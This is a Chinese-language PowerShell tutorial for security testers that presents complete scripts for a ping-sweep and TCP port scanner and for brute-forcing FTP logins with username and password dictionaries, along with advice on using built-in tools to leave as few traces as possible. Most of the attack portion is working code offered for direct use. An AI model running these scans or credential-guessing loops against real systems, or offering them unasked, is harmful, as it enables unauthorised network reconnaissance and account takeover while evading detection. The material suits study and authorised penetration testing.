powershell(5)-端口扫描与服务爆破
端口扫描
这里我们就开始了我们的端口扫描器的构建, 这里很多朋友肯定会说, 端口扫描不是有很多已经很成熟的脚本了么为什么还要去学习呢?那么我们首先想一想目前的一些优秀的端口扫描都是Python或者Go语言等进行编写的, 对于我们安全测试人员来说并不是最佳选择。因为对于Windows系统Python之类的环境并不是每一台电脑都有, 但Powershell不同我们不需要进行过多的操作即可进行丰富的操作, 这也是我们作为专业安全人员的基本素养: 尽可能进行少的操作, 因为你无法删除你所有的行踪, 物质守恒定律—-没有人能确保自己不留任何痕迹, 那么越少的操作无疑是我们需要思考的。 端口扫描脚本已经直接放在了下面, 同样大部分的注释等已经写的很清晰, 本脚本涉及到的几个点:
- 脚本参数的问题的解决, 可以看到我们的参数获取用了CmdletBinding的方法,这样我们可以设置参数的形式就有很多了, 比如我们需要一个参数是否可选,和参数的位置等
- 主机存活检测使用Ping来检测(ICMP)
- 端口扫描调用.NET的Socket来进行端口连接,如果连接建立代表端口连接成功
1. function PortScan {
2. <#
3. .DESCRIPTION
4. 端口扫描
6. .PARAMETER StartAddress
7. Ip开始地址 Range
9. .PARAMETER EndAddress
10. Ip结束地址 Range
12. .PARAMETER GetHost
13. 解析获取主机名 HostName
15. .PARAMETER ScanPort
16. 端口扫描参数, 若不打开就是主机存活的探测 PortScan
18. .PARAMETER Ports
19. 需要扫描的端口,默认有: 21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,
20. 1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,
21. 8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030
23. .PARAMETER TimeOut
24. TimeOut 默认是10s TimeOut 100
26. .EXAMPLE
27. PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254
29. .EXAMPLE
30. PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost
32. .EXAMPLE
33. PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort
35. .EXAMPLE
36. PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort -TimeOut 500
38. .EXAMPLE
39. PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort -Port 80
41. #>
42. [CmdletBinding()] Param(
43. [parameter(Mandatory = $true, Position = 0)]
44. [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
45. [string]
46. $StartAddress,
48. [parameter(Mandatory = $true, Position = 1)]
49. [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
50. [string]
51. $EndAddress,
53. [switch]
54. $GetHost,
56. [switch]
57. $ScanPort,
59. [int[]]
60. $Ports = @(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030),
62. [int]
63. $TimeOut = 100
64. )
65. Begin {
66. # 开始之前先调用Ping组件
67. $ping = New-Object System.Net.Networkinformation.Ping
68. }
69. Process {
70. # 四层循环获取解析IP地址
71. foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
72. foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
73. foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
74. foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
75. # write-progress用于在shell界面显示一个进度条
76. write-progress -activity PingSweep -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100)
77. # 通过Ping命令发送ICMP包探测主机是否存活
78. $pingStatus = $ping.Send("$a.$b.$c.$d",$TimeOut)
79. if($pingStatus.Status -eq "Success") {
80. if($GetHost) {
81. # 本分支主要解决主机名的问题
82. # write-progress用于在shell界面显示一个进度条
83. write-progress -activity GetHost -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) -Id 1
84. # 获取主机名
85. $getHostEntry = [Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null)
86. }
87. if($ScanPort) {
88. # 定义一个开放的端口数组, 存储开放的端口
89. $openPorts = @()
90. for($i = 1; $i -le $ports.Count;$i++) {
91. $port = $Ports[($i-1)]
92. # write-progress用于在shell界面显示一个进度条
93. write-progress -activity PortScan -status "$a.$b.$c.$d" -percentcomplete (($i/($Ports.Count)) * 100) -Id 2
94. # 定义一个Tcp的客户端
95. $client = New-Object System.Net.Sockets.TcpClient
96. # 开始连接
97. $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
98. if($client.Connected) {
99. # 加入开放的端口
100. $openPorts += $port
101. } else {
102. # 等待, 这里用于网络延迟, 防止因为网络原因而没有判断到端口的开放而错失很多机会
103. Start-Sleep -Milli $TimeOut
104. if($client.Connected) {
105. $openPorts += $port
106. }
107. }
108. $client.Close()
109. }
110. }
111. if($GetHost) {
112. # 获取主机名
113. $hostName = ([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName
114. }
115. # 返回对象-哈希表
116. New-Object PSObject -Property @{
117. IPAddress = "$a.$b.$c.$d";
118. HostName = $hostName;
119. Ports = $openPorts
120. } | Select-Object IPAddress, HostName, Ports
121. }
122. }
123. }
124. }
125. }
126. }
127. End {
128. # 其他脚本运行结束代码
129. }
130. }
我们开看看一个简单的扫描结果:

那么其他扫描模式可自行测试, 可以看到这种扫描是知识单线程模式, 关于多线程的编程我们放在后面再来研究。
服务爆破
那么我们进入到服务爆破的阶段, 那么我们端口扫描之后的一步必然就是进行服务的弱点攻击, 对于一些服务比如21FTP和数据库之类的服务进行爆破是安全测试必经的过程, 那么我们来以FTP服务爆破来举例
1. function Invoke-BruteForce
2. {
3. <#
5. .DESCRIPTION
6. FTP服务爆破脚本
8. .PARAMETER Computername
9. 主机名参数
11. .PARAMETER UserList
12. 用户字典参数
14. .PARAMETER PasswordList
15. 密码字典参数
17. .PARAMETER Service
18. 服务名参数
20. .PARAMETER StopOnSuccess
21. 找到密码时是否退出
23. .PARAMETER Delay
24. 爆破时间间隔, 默认为0
26. .EXAMPLE
27. PS C:\Users\rootclay\Desktop\powershell> FTP-BruteForce -ComputerName localhost -UserList
28. C:\Users\rootclay\Desktop\powershell\dict\username.txt -PasswordList
29. C:\Users\rootclay\Desktop\powershell\dict\pass.txt -Service ftp -verbose
31. #>
32. [CmdletBinding()] Param(
33. [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)]
34. [Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")]
35. [String]
36. $ComputerName,
38. [Parameter(Position = 1, Mandatory = $true)]
39. [Alias('Users')]
40. [String]
41. $UserList,
43. [Parameter(Position = 2, Mandatory = $true)]
44. [Alias('Passwords')]
45. [String]
46. $PasswordList,
48. [Parameter(Position = 3, Mandatory = $true)] [ValidateSet("FTP")]
49. [String]
50. $Service = "FTP",
52. [Parameter(Position = 4, Mandatory = $false)]
53. [Switch]
54. $StopOnSuccess,
56. [Parameter(Position = 6, Mandatory = $false)]
57. [UInt32]
58. $Delay = 0
59. )
60. Begin {
61. # 开始之前相关代码
62. }
64. Process
65. {
66. # Write-Verbose用于打印详细信息
67. Write-Verbose "Starting Brute-Force and Delay is $Delay."
69. # 获取用户名与密码字典
70. $usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
71. $passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
72. if (!$usernames) {
73. $usernames = $UserList
74. Write-Verbose "UserList file does not exist."
75. Write-Verbose $usernames
76. }
77. if (!$passwords) {
78. $passwords = $PasswordList
79. Write-Verbose "PasswordList file does not exist."
80. Write-Verbose $passwords
81. }
83. # Brute Force FTP
84. if ($service -eq "FTP")
85. {
86. # 机器名的处理:若ftp://开始直接获取名字,若没有直接加上
87. if($ComputerName -notMatch "^ftp://")
88. {
89. $source = "ftp://" + $ComputerName
90. }
91. else
92. {
93. $source = $ComputerName
94. }
95. Write-Output "Brute Forcing FTP on $ComputerName"
97. :UsernameLoop foreach ($username in $usernames)
98. {
99. foreach ($Password in $Passwords)
100. {
101. try
102. {
103. # 调用.net中的FTP库进行连接
104. $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
105. $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
107. # 通过Verbose输出的信息
108. Write-Verbose "Trying $userName : $password"
110. # 进行认证连接
111. $ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password)
113. # 获取返回信息
114. $result = $ftpRequest.GetResponse()
115. $message = $result.BannerMessage + $result.WelcomeMessage
117. # 打印信息到控制台
118. Write-Output "Match $username : $Password"
119. $success = $true
121. # 判断是否要得到结果立刻退出
122. if ($StopOnSuccess)
123. {
124. break UsernameLoop
125. }
126. }
128. catch
129. {
130. $message = $error[0].ToString()
131. $success = $false
132. }
133. # 延时爆破
134. Start-Sleep -Seconds $Delay
135. }
136. }
137. }
138. }
140. End {
141. # 其他脚本运行结束代码
142. }
143. }
下面来看看爆破的结果:

如果不加-verbose参数显示是非常清爽的:

